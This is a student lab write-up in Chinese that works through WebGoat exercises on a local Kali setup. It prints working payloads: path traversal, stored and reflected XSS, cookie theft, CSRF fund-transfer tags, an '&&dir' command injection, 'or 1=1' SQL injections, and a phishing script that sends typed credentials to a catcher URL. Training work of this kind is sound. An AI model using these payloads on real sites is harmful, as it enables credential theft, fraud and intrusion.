1. 程式人生 > >2017-2018 Exp9 網絡欺詐技術防範 20155214

2017-2018 Exp9 網絡欺詐技術防範 20155214

屬於 orm mman .get num ros sta alert HR

Exp9 網絡欺詐技術防範


[TOC]

實驗內容

實驗環境

  • 主機 Kali

實驗工具

  • 平臺 webgoat

Webgoat

webgoat下載安裝

首先,下載地址:

https://s3.amazonaws.com/webgoat-war/webgoat-container-7.1-war-exec.jar

或者去github上也可以。

其次,cd切換到下載目錄:

root@kali:~/下載# java -jar webgoat-container-7.1-war-exec.jar 

註意,webgoat服務器占用本地8080端口,需要先把該端口騰出來。

然後,訪問本地8080端口:

http://localhost:8080/WebGoat

選擇賬號登錄後即可開始練習,本次實驗要求完成10個練習。

  • 要開始刷Web漏洞了,好激動啊

General

Http Basics

看得出這題應該是用來熟悉題型的,user可以嘗試hint,檢查request參數,前端代碼以及代理等,達到理解題目的目的。

  • 既來之,hint之
1.Type in your name and press ‘go‘
2.turn on Show Parameters or other features
3.Try to intercept the request with OWASP ZAP
4.Press the Show Lesson Plan button to view a lesson summary
5.Press the Show Solution button to view a lesson solution
  • 在Enter your Name的input中輸點什麽,harry吧,然後Go!
  • 表面Congratulations.input框中已經如題所示反轉,變為了yrrah
  • f12打開源碼,可以看到表單提交的後臺函數#attack/1869022003/100與url顯示的相同

  • 然後Show source把後臺代碼貼上來了,在createContent(Websession s)中

    person = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
    //獲取前端Input值
    person.reverse();
    //反轉
  • 之後就算入門了,正式開始做題

Access Control Flaws

Using an Access Control Matrix

  • emmm..瀏覽題意,本題設計了一個基於角色的權限控制,並且Only the [Admin] group should have access to the ‘Account Manager‘ resource.,所以要求我們嘗試獲得Admin權限。
  • 粗略操作後發現,user表單中有4個用戶,其中Shemp屬於Admin組,允許訪問Account Manager
  • 而後,可以發現Larry[User,Manager]被錯誤的賦予權限,以致於可以訪問Account Manager

    ...
    if (!getRoles(user).contains("Admin") && resource.equals("Account Manager"))
                {
                    makeSuccess(s);
                }
                s.setMessage("User " + user + " " + credentials + " was allowed to access resource " + resource);
    //權限驗證代碼沒有問題
    ...
        if (rl.contains(roles[1]))
        {
            list.add(resources[1]);
            list.add(resources[5]);
        }//roles[1]即Larry,resources[5]即Account Manager,此處權限賦予出現錯誤
    ...

    Bypass a Path Based Access Control Scheme

  • 本題要求我們嘗試獲得權限以訪問list提供之外的文件,如WEB-INF/spring-security.xml

  • Hint中提示可利用相對路徑訪問

    Current Directory is: /root/.extract/webapps/WebGoat/plugin_extracted/plugin/BasicAuthentication/lessonPlans/en
    //在URL欄中輸入可以打開文件目錄,但只有BasicAuthentication.html一個文件
  • 利用BurpSuite打開代理,點擊view之後攔截

    File=BasicAuthentication.html&SUBMIT=View+File
  • 將File改為../main.jsp,forward即可在頁面訪問,

Crossing-Site Scripting

Phishing with XSS

  • 閱讀題意,在Search框中插入一段包括獲取信息的js腳本的HTML代碼,將獲取到的信息轉發到本地servlet。

  • 前端腳本見知識點

  • 成功後在頁面內插入了兩個input

This feature requires account login:

Enter Username:

Enter Password:

No results were found.
  • 輸入了WebGoat的賬號密碼後,彈出一個alert

    attack.?????? Your credentials were just stolen. User Name = webgoat Password = webgoat
    //用戶輸入的賬號信息已經被發給了本地服務器

Stored XSS Attacks

  • 簡單瀏覽了一下,頁面將會把提交的Message發布處來,因此可以提交一段帶JS腳本的HTML文本。

  • 嘗試一下

    Title:
    20155214
    Message:
    <script>alert("It is a simple stored XSS");</script>
  • 成功之後,在原本的位置

    Message Contents For: 20155214
    Title:  20155214
    Message:    
    Posted by:  webgoat
    //Message為空,點開之後出現alert彈窗

Reflected XSS Attacks

  • 閱讀題意,還是在input中添加一個JS腳本,當頁面執行HTML文本時執行。

  • 查看hint,利用以下代碼可以查看cookie

    <SCRIPT>alert(document.cookie);</SCRIPT>
  • 以下跨站腳本攻擊通過調用ActiveXObject類,創建Xmlhttp對象
    ,可以將charge修改為商品總和

<script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1){var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf("\n") > -1) str1 = str1.replace("\n","<br>"); document.write(str1);}</script>
The total charged to your credit card:  $1997.96    

Cross Site Request Forgery(CSRF)

  • 閱讀題意,我們通過輸入一條,插入IMG的JS腳本,其URL地址指向attack的servlet

  • 在Message中,以下JS腳本插入了一張不存在的圖片

    <img src=‘attack?Screen=2078372&menu=900&transferFunds=5000‘>
  • 運行成功後,F12查看源碼,發現Message位置已經插入了該html文本,該url已經被執行。

CSRF Prompt By-Pass

  • 閱讀題意,URL應該使用此CSRF-prompt-by-pass課程的屏幕,菜單參數和具有數字值(例如“5000”)的額外參數“transferFunds”來指向攻擊小服務程序,以啟動傳輸和字符串值“CONFIRM” 完成它。 您可以從右側的插圖復制課程參數,創建格式為“attack?Screen = XXX&menu = YYY&transferFunds = ZZZ”的網址。 誰收到這封電子郵件,恰好在當時被認證,將有資金轉移。
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=400"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
  • 成功之後,可以看到在頁面上偽造了一個資金轉換的交互界面。

    Amount to transfer: 400
    CONFIRM | CANCEL

Injection Flaws

Command Injection

  • 閱讀題意,嘗試向操作系統註入一個命令。

  • 打開Burp Suite,抓一下包

    HelpFile
    修改為
    AccessControlMatrix.help"&&"dir

    -點擊Go,即可獲得

    <!-- Stop Instructions --><br>UserDatabase.mv.db           webgoat-container-7.1-exec.jar  ??  ??<br>VMwareTools-10.2.5-8068393.tar.gz  ??                 ??  ??<br>vmware-tools-distrib          ??                  ??  ??<br>Returncode: 0<br></pre></form></div>

Numeric SQL Injection

  • 閱讀題意,要求我們修改頁面上的SQL語句,來使服務器連接數據庫輸出所有天氣信息

  • 正常情況下,SQL語句會按照station條件查詢相關數據。

SELECT * FROM weather_data WHERE station = 101

  • 因此要求很簡單,需要將數據庫中的所有信息輸出,刪去條件即可

  • 打開Burp Suite,抓包會發現前端傳輸了station數據,因此我們將

    station=101&SUBMIT=Go!
    修改為
    station=101 or 1=1&SUBMIT=Go!
  • 構成了新的SQL語句SELECT * FROM weather_data WHERE station = 101 or 1=1,即查詢條件為永真,輸出weather_data中的所有數據。

String SQL Injection

  • 閱讀題意,手工設置SQL字符串註入,獲得SMITH的信用卡信息

  • 註入字符串‘ or ‘1‘=‘1,構成新SQL語句

    ELECT * FROM user_data WHERE last_name = ‘‘ or ‘1‘=‘1

    即條件為永真,搜索user_data中所有數據。


知識點

  • XSS腳本
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

2017-2018 Exp9 網絡欺詐技術防範 20155214